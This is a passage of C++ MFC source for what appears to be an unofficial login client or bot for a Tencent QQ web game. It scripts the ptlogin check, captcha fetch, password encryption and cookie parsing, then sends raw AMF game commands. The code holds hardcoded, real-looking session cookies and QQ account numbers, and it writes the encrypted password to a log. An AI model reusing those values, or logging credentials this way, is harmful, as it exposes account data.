

	

public:

	SOCKET _SendPostData(SOCKET sock,LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req);

	SOCKET _KeepCookies(LPCSTR url,LPCSTR headers,BYTE *post,DWORD postLength,TAG_HTTPRequest *req);

	BOOL		SendData(SOCKET sock, char *buffer, int bufferLen);

	void		SendRequest(bool IsPost, LPCSTR url, CString &psHeaderSend, CString &psHeaderReceive, CString &psMessage);

};



#endif // !defined(AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_)
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    源码/LoginDlg.cpp
    
    


源码/LoginDlg.cpp// LoginDlg.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "LoginDlg.h"
#include "HttpRequest.h"
#include "SafeArrayHelper.h"
#include "StaticFunctions.h"
#include <mshtml.h>
#include <ExDisp.h>
#include   <comdef.h>
#include "MainFrm.h"
#include "amf_static.h"
#include "7wAmfCmd.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CLoginDlg dialog

UINT CLoginDlg::m_ucount=0;
CLoginDlg::CLoginDlg(CWnd* pParent /*=NULL*/)
    : CDialog(CLoginDlg::IDD, pParent)
{
    //{{AFX_DATA_INIT(CLoginDlg)
    //}}AFX_DATA_INIT


    m_strptvfsession="";
    m_strverify="";
    m_bPic=FALSE;
    m_strQQid="";
    m_strpt2gguin="";
    m_strskey="";
    m_strptisp="";
    m_strptuserinfo="";
    m_strptcz="";
    m_strDomain="645";
    m_strJsessionID="";
    m_strAmfQuery="";


}


void CLoginDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CLoginDlg)
    DDX_Control(pDX, IDC_EDIT3, m_edit3);
    DDX_Control(pDX, IDC_STATIC1, m_static);
    DDX_Control(pDX, IDC_EDIT4, m_edit4);
    DDX_Control(pDX, IDC_EDIT2, m_edit2);
    DDX_Control(pDX, IDC_EDIT1, m_edit1);
    //}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CLoginDlg, CDialog)
    //{{AFX_MSG_MAP(CLoginDlg)
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
    ON_WM_ERASEBKGND()
    ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
    ON_BN_CLICKED(IDC_BUTTON6, OnButton6)
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CLoginDlg message handlers

void CLoginDlg::OnButton1() 
{
    
    //如果是图片验证
    if(m_bPic)
    {
        ::CreateThread(NULL, 0, _PictureThreadProc, this, 0, NULL);
        return;
    }else
    {
        ::CreateThread(NULL, 0, _NormalThreadProc, this, 0, NULL);
    
    }


}


BOOL CLoginDlg::OnInitDialog() 
{
    CDialog::OnInitDialog();
    
    // TODO: Add extra initialization here
    m_edit1.SetWindowText("");
    m_edit2.SetWindowText("");
    m_edit3.SetWindowText("");


    return TRUE;  // return TRUE unless you set the focus to a control
                  // EXCEPTION: OCX Property Pages should return FALSE
}

void CLoginDlg::GetVerifyStr(CString str,CString& str1,CString& str2)
{


    CString m_char=",";
    CString lstr,rstr;
    if (!m_char.IsEmpty())
    {
        int index = str.Find(m_char);
        rstr = str.Right(str.GetLength()-index-1);
        lstr=str.Left(index);
    }

    rstr=rstr.Mid(rstr.Find("'")+1,rstr.ReverseFind('\'')-1);
    lstr=lstr.Mid(lstr.Find("'")+1,1);
    str1=lstr;
    str2=rstr;

    return;
}

CString CLoginDlg::GetPtvSession(CString str)
{

    int i=str.Find("ptvfsession");
    int j=str.Find("PATH");
    CString temp=str.Mid(i,j-i);
    int m=temp.Find("=");
    int n=temp.Find(";");
    temp=temp.Mid(m+1,n-m-1);
    return temp;
}

CString CLoginDlg::GetUiKey(CString str)
{

    int i=str.Find("uikey");
    int j=str.Find("Last-Modified");

    
    CString temp=str.Mid(i,j-i);
    int m=temp.Find("=");
    int n=temp.Find(";");
    CString temp2=temp.Mid(m+1,n-m-1);
    return temp2;

}

CString CLoginDlg::GetLoginParam(CString str)
{
    int i=str.Find("login_param");
    int j=str.Find("PATH");
    CString temp=str.Mid(i,j-i);
    int m=temp.Find("=");
    int n=temp.Find(";");
    CString temp2=temp.Mid(m+1,n-m-1);
    return temp2;
}

CString CLoginDlg::GetCookie()
{


    return "";
}



CString CLoginDlg::GetPgv_Pvid(CString strcookie)
{


    CString strSub;
    AfxExtractSubString(strSub, (LPCTSTR)strcookie, 1, ';');
    CString x=strSub.Right(strSub.GetLength()-strSub.Find("=")-1);


    int i=strcookie.Find("pgv_pvid");
     x=strcookie.Right(strcookie.GetLength()-i);
    i=x.Find("=");
    int j=x.Find(";");
    CString sret;
    if(j==-1)
    {
        sret=x.Mid(i+1,x.GetLength());
        
    }else
    {
        sret=x.Mid(i+1,j-i-1);
    }
    return sret;


}

CString CLoginDlg::GetPgv_Info(CString strcookie)
{


    int i=strcookie.Find("ssid");
    CString x=strcookie.Right(strcookie.GetLength()-i);
     i=x.Find("=");
    int j=x.Find(";");
    CString sret;
    if(j==-1)
    {
        sret=x.Mid(i+1,x.GetLength());

    }else
    {
        sret=x.Mid(i+1,j-i-1);
    }
    return x;
}

CString CLoginDlg::GetVerifySession(CString strQQid)
{   
    
    
    TAG_HTTPRequest     req;
    CHttpRequest  hrq;
    CString strUrl,strHeader,strlog,strtemp,strpath;
    int iret;
    strUrl.Format("http://captcha.qq.com/getimage?aid=39000301&r=0.46298184193833674&uin=%s&vc_type=96587183188cae75eb01051705c4923b84fa02f157bdaa09",strQQid);
    
    
    strHeader="Accept: */*\r\n"\
        "Referer: http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\
        "Accept-Language: zh-cn\r\n"\
        "UA-CPU: x86\r\n"\
        "Accept-Encoding: gzip, deflate\r\n"\
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\
        "Host: captcha.qq.com\r\n"\
        "Connection: Keep-Alive\r\n"\
        "Cookie: pgv_pvid=3205207264; ptui_width=300; ptui_height=143; pt2gguin=o0042523276; pgv_info=pgvReferrer=&ssid=s5914559196\r\n\r\n";
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req);
    if(!iret)
    {
        strlog.Format("获取图片验证码成功,%s",strQQid);
        SetMainFrameLog(strlog,0);
    }else
    {
        strlog.Format("获取图片验证码失败,%s",strQQid);
        SetMainFrameLog(strlog,0);
        return "";
    }
    strtemp=req.headerReceive;
    ///保存jpg图片验证码到本地
    CFile file;
    CStaticFunctions::GetWorkPath(strpath);
    CString FileName=strpath+CStaticFunctions::GetCurrentTimeStr()+".jpg";
    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);
    file.SeekToBegin();
    file.Write(req.message,req.messageLength);//CString m_data
    file.Flush();
    file.Close();
    HBITMAP hBitmap=LoadALLPIC(FileName);//如sPath＝"D:\\f.gif"
    
    CStatic   *pStatic   =   (CStatic   *)GetDlgItem(IDC_STATIC1); //显示在CStatic上
    pStatic->ModifyStyle(0xF,SS_BITMAP);  
    pStatic->SetBitmap(hBitmap);  


    /////////////////////////////////////////////////////////////////

    //得到图片验证的verifysession
    int i=strtemp.Find("verifysession");
    int j=strtemp.Find("PATH");
    CString temp=strtemp.Mid(i,j-i);
    int m=temp.Find("=");
    int n=temp.Find(";");
    temp=temp.Mid(m+1,n-m-1);

    return temp;
}

BOOL CLoginDlg::OnEraseBkgnd(CDC* pDC) 
{
    // TODO: Add your message handler code here and/or call default

    return CDialog::OnEraseBkgnd(pDC);
}

HBITMAP CLoginDlg::LoadALLPIC(CString strFileName)
{
    IPicture* p=NULL;
    IStream* s=NULL;
    HGLOBAL hG;
    void* pp;
    FILE* fp;
    // Read file in memory
    fp = fopen(strFileName,"rb");//打开文件
    //fp = fopen("D:\\7.gif","rb");
    if (!fp)
        return NULL;
    else{
        // MessageBox("打开文件成功!");
    }
    fseek(fp,0,SEEK_END);
    int fs = ftell(fp);
    fseek(fp,0,SEEK_SET);
    hG = GlobalAlloc(GPTR,fs);
    if (!hG)
    {
        fclose(fp);
        return NULL;
    }
    pp = (void*)hG;
    fread(pp,1,fs,fp);
    fclose(fp);
    
    CreateStreamOnHGlobal(hG,false,&s);
    if (!s)
    {
        GlobalFree(hG);
        return NULL;
    }
    
    OleLoadPicture(s,0,false,IID_IPicture,(void**)&p);
    
    if (!p)
    {
        s->Release();
        GlobalFree(hG);
        return NULL;
    }
    
    s->Release();
    GlobalFree(hG);
    
    HBITMAP hB = 0;
    p->get_Handle((unsigned int*)&hB);
    
    // Copy the image.Necessary, because upon p's release,
    // the handle is destroyed.
    HBITMAP hBB = (HBITMAP)CopyImage(hB,IMAGE_BITMAP,0,0,LR_COPYRETURNORG );
    
    p->Release();
    return hBB;
    

}



void CLoginDlg::SetMainFrameLog(CString log, int state)
{
    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();
    pfm->SetLogString(log,state);
}

CString CLoginDlg::GetEncPsw(CString strPsw, CString strVfy)
{       
    CString strlog,strEncPsw,strProc,strError,strpath;
    strEncPsw="";
    CScriptObject   m_ScriptObj;    
    CStaticFunctions::GetWorkPath(strpath);
    strpath=strpath+"\\Xlogin.js";
    m_ScriptObj.Reset();

    m_ScriptObj.LoadScript(strpath);
    strProc="preprocess";
    CSafeArrayHelper sfHelper;

    try{
        _variant_t var,var2;
        if (strProc.IsEmpty())
            sfHelper.Create(VT_VARIANT, 1, 0, 0);   // (void) parameter
        else
        {
            sfHelper.Create(VT_VARIANT, 1, 0, 2);   // 1 parameter
            var = _bstr_t(strVfy);//验证码
            var2=_bstr_t(strPsw);//qq密码
        }
        sfHelper.PutElement(0, (void*)&var);    // parameter1 -> index 0
        sfHelper.PutElement(1,(void*)&var2);
        LPSAFEARRAY sa =  sfHelper.GetArray();
        _variant_t varRet;
        if (m_ScriptObj.RunProcedure(strProc, &sa, &varRet))
        {
            strEncPsw=(LPCTSTR)_bstr_t(varRet);
            strlog.Format("密码加密成功:%s,%s",strVfy,strEncPsw);
        
            SetMainFrameLog(strlog,0);
        }
        
        else
        {
            strError = m_ScriptObj.GetErrorString();
            strlog.Format("密码加密失败:%s,%s",strVfy,strError);
            SetMainFrameLog(strlog,0);
        }
    }
    catch(...)
    {
        strError = m_ScriptObj.GetErrorString();
        strlog.Format("密码加密失败:%s",strError);
        SetMainFrameLog(strlog,0);
    }

    return strEncPsw;

}


void CLoginDlg::PostNcDestroy() 
{
    // TODO: Add your specialized code here and/or call the base class
    AfxGetMainWnd()->SendMessage(WM_LOGINDLG_DESTORYED,0,0);    
    CDialog::PostNcDestroy();
    delete this;

}
void  CLoginDlg::OnCancel() 
{
    // TODO: Add extra cleanup here
    DestroyWindow();
}



void CLoginDlg::OnButton2() 
{
    // TODO: Add your control notification handler code here
    GetVerifySession(m_strQQid);
}

UINT CLoginDlg::Get5LoginCookies(CString str, CString &str1, CString &str2, CString &str3, CString &str4, CString &str5)
{

//  Set-Cookie: pt2gguin=o0042523276; EXPIRES=Fri, 02-Jan-2020 00:00:00 GMT; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: uin=o0042523276; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: skey=@6h7N1wHGl; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: clientuin=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: clientkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: zzpaneluin=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: zzpanelkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: ptisp=cnc; PATH=/; DOMAIN=qq.com;
//  Set-Cookie: ptuserinfo=5465727279; PATH=/; DOMAIN=ptlogin2.qq.com;
//  Set-Cookie: ptcz=3400691b39c24d5649f17f5d1bf221e49444f89165cdae923e81a44915f2caf8; EXPIRES=Fri, 02-Jan-2020 00:00:00 GMT; PATH=/; DOMAIN=ptlogin2.qq.com;
//Set-Cookie: airkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;

    //pt2gguin
    CString x;
    int i=str.Find("pt2gguin");
    int j=str.Find(';',i);  

    CString temp=str.Mid(i,j-i+1);
    int m=temp.Find("=");
    int n=temp.Find(";");
    str1=temp.Mid(m+1,n-m-1);

    //skey
    i=str.Find("skey");
    j=str.Find(';',i);  
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str2=temp.Mid(m+1,n-m-1);

    //ptisp
    i=str.Find("ptisp");
    j=str.Find(';',i);  
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str3=temp.Mid(m+1,n-m-1);

    //ptuserinfo
    i=str.Find("ptuserinfo");
    j=str.Find(';',i);  
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str4=temp.Mid(m+1,n-m-1);

    //ptcz
    i=str.Find("ptcz");
    j=str.Find(';',i);
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str5=temp.Mid(m+1,n-m-1);

    return 1;
}

UINT CLoginDlg::Get3DomainCookies(CString str, CString &str1, CString &str2, CString &str3)
{
    CString x;
    int i=str.Find("sTemp");
    int j=str.Find(';',i);  
    
    CString temp=str.Mid(i,j-i+1);
    int m=temp.Find("=");
    int n=temp.Find(";");
    str1=temp.Mid(m+1,n-m-1);
    
    //skey
    i=str.Find("7_fx_login");
    j=str.Find(';',i);  
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str2=temp.Mid(m+1,n-m-1);
    
    //ptisp
    i=str.Find("sFrom");
    j=str.Find(';',i);  
    temp=str.Mid(i,j-i+1);
    m=temp.Find("=");
    n=temp.Find(";");
    str3=temp.Mid(m+1,n-m-1);
    

    
    return 1;
}


DWORD WINAPI CLoginDlg::_NormalThreadProc(LPVOID lpParam)
{
    ::CoInitialize(NULL);
    
    CLoginDlg *pdlg=(CLoginDlg *)lpParam;

    //正常验证过程
    TAG_HTTPRequest req,req2,req3,req4;
    CHttpRequest  hrq;
    CString strQQid,strUrl,strHeader,strlog,strQQpsw,strProc,strpath;
    CString strverify1,strverify2;//是否需要图片验证,验证码
    CString strEncPsw,strptvfsession;
    CString strverifysession,strPic;
    CString strRecvHeader,strRecvMessage;
    CString strpvid,strinfo;
    int iret;
    pdlg->m_edit1.GetWindowText(strQQid);
    pdlg->m_edit2.GetWindowText(strQQpsw);
    pdlg->m_edit3.GetWindowText(pdlg->m_strDomain);

    C7wAmfCmd::m_strDomain=pdlg->m_strDomain;
    pdlg->m_strQQid=strQQid;
    
    strpvid="3993011775";
    strinfo="s1534072119";
    strUrl.Format("http://ptlogin2.qq.com/check?uin=%s&appid=39000301&r=0.06601201818939911",strQQid);
    
    strHeader.Format("Accept: */*\r\n"\
        "Referer: http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\
        "Accept-Language: zh-cn\r\n"\
        "UA-CPU: x86\r\n"\
        "Accept-Encoding: gzip, deflate\r\n"\
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\
        "Host: ptlogin2.qq.com\r\n"\
        "Connection: Keep-Alive\r\n"\
        "Cookie:pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s\r\n\r\n",strpvid,strinfo);


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req);

    if(!iret)
    {   
        strlog.Format("QQ帐号%s登录服务器成功.",strQQid);
        pdlg->SetMainFrameLog(strlog,0);
        
    }else
    {

        strlog.Format("QQ帐号%s登录服务器失败.",strQQid);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
    }
            
    strRecvMessage=req.message;
    strRecvHeader=req.headerReceive;
    free(req.message);
    free(req.headerReceive);
    
    strptvfsession=pdlg->GetPtvSession(strRecvHeader);
    pdlg->GetVerifyStr(strRecvMessage,strverify1,strverify2);
    
    if(strverify1=="0")
    {
        strlog.Format("成功获取验证码:%s",strverify2);
        pdlg->SetMainFrameLog(strlog,0);
        strlog.Format("成功获取ptvsession%s, %d",strptvfsession,strptvfsession.GetLength());
        pdlg->SetMainFrameLog(strlog,0);
    }else
    {   
        strlog.Format("需要图片验证码,参照图片输入验证码.");
        pdlg->SetMainFrameLog(strlog,0);
        strlog.Format("已取得链接验证码:%s",strverify2);
        pdlg->SetMainFrameLog(strlog,0);
        strverifysession=pdlg->GetVerifySession(strQQid);
        strlog.Format("成功取得图片Verifysession:%s,%d",strverifysession,strverifysession.GetLength());
        pdlg->SetMainFrameLog(strlog,0);
        
        pdlg->m_strptvfsession=strverifysession;
        pdlg->m_bPic=TRUE;
        return -1;
        
    }
    //////////////////////////////////////////////////////////////////////////////////////////////////////////
    //得到加密密码
    strEncPsw=pdlg->GetEncPsw(strQQpsw,strverify2);
    
    strUrl.Format("http://ptlogin2.qq.com/login?u=%s&p=%s&verifycode=%s&aid=39000301&u1=http%%3A%%2F%%2Fgame.7.qq.com/index.shtml&h=1&ptredirect=1&ptlang=2052&from_ui=1&dumy=&fp=loginerroralert&mibao_css=87",strQQid,strEncPsw,strverify2);
    
    strHeader.Format("Accept: */*\r\n"\
        "Referer:http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\
        "Accept-Language: zh-cn\r\n"\
        "UA-CPU: x86\r\n"\
        "Accept-Encoding: gzip, deflate\r\n"\
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\
        "Host: ptlogin2.qq.com\r\n"\
        "Connection: Keep-Alive\r\n"\
        "Cookie: ptvfsession=%s; pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s\r\n\r\n",strptvfsession,strpvid,strinfo);
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2);
    
    strRecvHeader=req2.headerReceive;
    if(!iret)
    {
        strlog.Format("发送qq帐号密码成功%s,结果:%s",strQQid,amf_static::UTF8_2_OEM(req2.message));
        pdlg->SetMainFrameLog(strlog,0);
        
    }else
    {
        strlog.Format("发送qq帐号密码失败%s.",strQQid,req2.message);
        pdlg->SetMainFrameLog(strlog,0);
    }


    CString str1,str2,str3,str4,str5;
    pdlg->Get5LoginCookies(strRecvHeader,str1,str2,str3,str4,str5);
    strlog.Format("pt2gguin=%s;skey=%s;ptisp=%s;ptuserinfo=%s,ptcz==%s",str1,str2,str3,str4,str5);
    pdlg->SetMainFrameLog(strlog,0);
    pdlg->m_strpt2gguin=str1;
    pdlg->m_strskey=str2;
    pdlg->m_strptisp=str3;
    pdlg->m_strptuserinfo=str4;
    pdlg->m_strptcz=str5;
    free(req2.message);
    free(req2.headerReceive);
    //////////////////////////////////////////////////////////////////////////////////////////////////////////
    strUrl="http://login.7.qq.com/cgi-bin/CommWebGame/7X/7XLoginApp.cgi";
    
    CString strdata;
    strdata.Format("sGameKind=7X&sFrom=website&sNewServerId=%s&sOldServerId=",pdlg->m_strDomain);
    
    
    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"
        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 
        "application/msword, application/xaml+xml, application/x-ms-xbap,"
        "application/x-ms-application, */*\r\n"\
        "Referer: http://game.7.qq.com/index.shtml\r\n"\
        "Accept-Language: zh-cn\r\n"\
        "Content-Type: application/x-www-form-urlencoded\r\n"\
        "UA-CPU: x86\r\n"\
        "Accept-Encoding: gzip, deflate\r\n"\
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"
        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E;"
        ".NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\
        "Host: login.7.qq.com\r\n"\
        "Content-Length:%d\r\n"\
        "Connection: Keep-Alive\r\n"\
        "Cache-Control: no-cache\r\n"\
        "Cookie: ied_rf=--; pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s;"\
        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s;"
        "IED_LOG_INFO=uin*123456|nick*TOM%%20|time*1309307826\r\n\r\n",
        strdata.GetLength(),strpvid,strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);                                                                                                                                                                                              
    
    strlog.Format("登录七雄密钥服务器,要稍等一会儿......",pdlg->m_strDomain);
    pdlg->SetMainFrameLog(strlog,0);
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),(BYTE*)strdata.GetBuffer(0),strdata.GetLength(),&req3);
    
    strRecvHeader=req3.headerReceive;
    strRecvMessage=req3.message;
    
    CString strTemp,str7Login,strWebsite;
    pdlg->Get3DomainCookies(strRecvHeader,strTemp,str7Login,strWebsite);
    free(req3.message);
    free(req3.headerReceive);
    
    
    if(!iret)
    {
        strlog.Format("登录七雄密钥服务区成功,结果:%s",strRecvMessage);
        pdlg->SetMainFrameLog(strlog,0);
        pdlg->SetMainFrameLog(strTemp,0);
        pdlg->SetMainFrameLog(str7Login,0);
        pdlg->SetMainFrameLog(strWebsite,0);
        
        
    }else
    {
        strlog.Format("登录七雄密钥服务区失败,结果:%s",pdlg->m_strDomain,strRecvMessage);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
        
    }
    
    int i=strRecvMessage.Find("http");
    int j=strRecvMessage.Find('\'',i);
    CString temp=strRecvMessage.Mid(i,j-i);
    /////////////////////////////////////////////////////////////////////////////////////////////////////////   
    strUrl=temp;
    pdlg->SetMainFrameLog(strUrl,0);
    
    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,"
        "application/vnd.ms-powerpoint, application/msword, application/xaml+xml," 
        "application/x-ms-xbap, application/x-ms-application, */*\r\n"
        "Accept-Language: zh-cn\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 
        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"
        "Host: s%s.jn2.7.qq.com\r\n"
        "Connection: Keep-Alive\r\n"
        "Cookie: ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;" 
        "pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s; pt2gguin=%s; uin=%s;"
        "skey=%s; ptisp=%s;"
        "IED_LOG_INFO=uin*1234566|nick*TOM%%20|time*1309307826\r\n\r\n",pdlg->m_strDomain,strTemp,str7Login,strTemp,strpvid,
        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req4,FALSE);
    
    strRecvHeader=req4.headerReceive;
    
    pdlg->m_strJsessionID=pdlg->GetJsessionId(strRecvHeader);
    if(!iret)
    {
        strlog.Format("%s登录七雄服务器%s成功!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,pdlg->m_strJsessionID);
        pdlg->SetMainFrameLog(strlog,0);
        
    }else
    {
        strlog.Format("%s登录七雄服务器%s失败!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,req4.headerReceive);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
        
    }
    free(req4.message);
    free(req4.headerReceive);
    
    
    
    //构造终级字符串
    pdlg->m_strAmfQuery.Format("Cookie: JSESSIONID=%s;ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;"
        "pgv_pvid=%s;pgv_info=pgvReferrer=&ssid=%s; ptui_width=300; ptui_height=164; pt2gguin=%s;" 
        "uin=%s; skey=%s; ptisp=%s,IED_LOG_INFO=uin*42523276|nick*Terry%%20|time*1309339566",pdlg->m_strJsessionID,strTemp,str7Login,strTemp,strpvid,
        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);
    
    C7wAmfCmd::m_strCookies=pdlg->m_strAmfQuery;
    //////////////////////////////////////////////////////////////////////////////////////////////////////////
    
    //准备登录游戏,指令1是否进入游戏
    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x69\x73\x45\x6E\x74\x65\x72\x47"
        "\x61\x6D\x65\x00\x02\x2F\x31\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    //获得加密key
    unsigned char amfcmd2[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x67\x65\x74\x43\x72\x79\x70\x74"
        "\x4B\x65\x79\x00\x02\x2F\x32\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    //enter game
    unsigned char amfcmd3[] ="\x00\x03\x00\x00\x00\x01\x00\x14\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x65\x6E\x74\x65\x72\x47\x61\x6D"
        "\x65\x00\x02\x2F\x33\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    
    //得到城堡数据
    unsigned char amfcmd4[]=
 "\x00\x03\x00\x00\x00\x01\x00\x19\x61\x63\x63\x6F\x75\x6E\x74\x41" 
 "\x63\x74\x2E\x67\x65\x74\x55\x73\x65\x72\x43\x61\x73\x74\x6C\x65" 
 "\x73\x00\x02\x2F\x34\x00\x00\x00\x05\x0A\x00\x00\x00\x00";      

//角色注册
unsigned char amfcmd5[]=
"\x00\x03\x00\x00\x00\x01\x00\x0B\x63\x68\x61\x74\x41\x63\x74\x2E" 
"\x72\x65\x67\x00\x02\x2F\x31\x00\x00\x00\x0C\x0A\x00\x00\x00\x01" 
"\x11\x0C\x09\x32\x05\x61\x55";                            

//获得大地图国家列表
 unsigned char amfcmd6[]=
 "\x00\x03\x00\x00\x00\x01\x00\x15\x6D\x61\x70\x41\x63\x74\x2E\x67"
 "\x65\x74\x43\x6F\x75\x6E\x74\x72\x79\x4C\x69\x73\x74\x00\x02\x2F" 
 "\x35\x00\x00\x00\x05\x0A\x00\x00\x00\x00";                  

 //有个信息获取

 //列出本国所有建筑列表
  unsigned char amfcmd7[]=
 "\x00\x03\x00\x00\x00\x01\x00\x1C\x63\x61\x73\x74\x6C\x65\x41\x63"
 "\x74\x2E\x6C\x69\x73\x74\x43\x61\x73\x74\x6C\x65\x42\x75\x69\x6C" 
 "\x64\x69\x6E\x67\x00\x02\x2F\x36\x00\x00\x00\x0C\x0A\x00\x00\x00" 
 "\x01\x11\x0C\x09\x30\x8C\xCB\x04";                         

    pdlg->_SendAmfCmd(amfcmd1,43,pdlg,"accountAct.isEnterGame");
    pdlg->_SendAmfCmd(amfcmd2,43,pdlg,"accountAct.getCryptKey");
    pdlg->_SendAmfCmd(amfcmd3,41,pdlg,"accountAct.enterGame");
    pdlg->_SendAmfCmd(amfcmd4,46,pdlg,"accountAct.getUserCastles");
    pdlg->_SendAmfCmd(amfcmd5,39,pdlg,"chatAct.reg");
    pdlg->_SendAmfCmd(amfcmd6,42,pdlg,"mapAct.getCountryList");
    pdlg->_SendAmfCmd(amfcmd7,56,pdlg,"castleAct.listCastleBuilding");
    ::CoUninitialize();
    
    
    return -1;
}



DWORD WINAPI CLoginDlg::_PictureThreadProc(LPVOID lpParam)
{
    ::CoInitialize(NULL);

    CLoginDlg *pdlg=(CLoginDlg *)lpParam;
    TAG_HTTPRequest     req,req2;
    CHttpRequest  hrq;
    CString strQQid,strUrl,strHeader,strlog,strQQpsw,strProc,strpath;
    CString strEncPsw,strptvfsession,strtemp;
    CString strpvid,strinfo;
    CString strRecvHeader,strRecvMessage;
    int iret;
    pdlg->m_edit1.GetWindowText(strQQid);
    pdlg->m_edit2.GetWindowText(strQQpsw);
    pdlg->m_edit3.GetWindowText(pdlg->m_strDomain);
    pdlg->m_edit4.GetWindowText(pdlg->m_strverify);//用户输入的验证码
    C7wAmfCmd::m_strDomain=pdlg->m_strDomain;
    strpvid="3993011775";
    strinfo="s1534072119";
    strEncPsw=pdlg->GetEncPsw(strQQpsw,pdlg->m_strverify);
    
